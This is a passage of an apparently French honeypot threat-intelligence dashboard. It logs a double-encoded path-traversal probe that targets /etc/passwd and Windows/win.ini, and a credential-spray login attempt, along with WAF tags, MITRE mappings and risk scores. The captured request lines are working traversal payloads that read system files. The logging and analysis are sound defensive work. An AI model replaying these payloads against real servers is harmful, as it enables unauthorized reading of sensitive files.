"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/etc\/passwd",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8002"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 20,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:16:01 UTC
TCP
8002 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8002 · (tentative d'exploit) · → /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%…
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1083
TA0001
TA0002
Protocole
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8002
Chemin / cible
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
pat-0715
CRS-930100-sub
Upstream
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
Ligne de requête
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/wi
Requête brute (extrait)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/Windows/win.ini HTTP/1.1 Host: 62.3.50.33:8002 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "348a4d91a8c00fab2128459a9b3a8774d81f2daa",
"http_target_hash": "b32cff996f138fc51ce84f8a9a846c903d796431",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 313,
"payload_entropy": 5.058485024219329,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8002,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "f50597c61cad532fb6b9316d1013021ef9d7e07f",
"event_fingerprint": "c8932f14fc33ba19480bca03de82691706dbc89e",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 329,
"precision_signals": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0715"
],
"matched_pattern_names": [
"CRS 930150 boot ini"
],
"pattern_ids": [
"pat-0715"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "bfb479c9fae4e73bf46346f57e4196c2",
"path_pattern_hash": "584e17b7bcc67c2f535291a0253964b1"
},
"target_context": {
"dst_port": 8002,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:8002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"payload_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "4b36a84908d4810f931365f5b845a75913bd2971",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8002,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"pat-0715",
"CRS-930100-sub",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Http Lfi",
"pat-0715",
"CRS-930100-sub",
"Upstream"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini",
"request_line": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8002,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8002 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%\u2026",
"evidence_snippet": "GET \/cgi-bin\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/%%32%65%%32%65\/Windows\/wi",
"target_port_label": "8002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8002"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 20,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:40 UTC
TCP
2083 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:2083 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
2083
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Cont
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1887,
"payload_entropy": 5.12509465369063,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.8,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "628a2e3b959724e38b74a61d20c648f248564e28",
"event_fingerprint": "61e60889b41e4ab16c206776662bbd913e73f759",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "ee715910985a827569e634fc72b34d75",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Type: application\/json\r\nCont",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b7ae269118960e63911af86fec749c66fef72b85",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
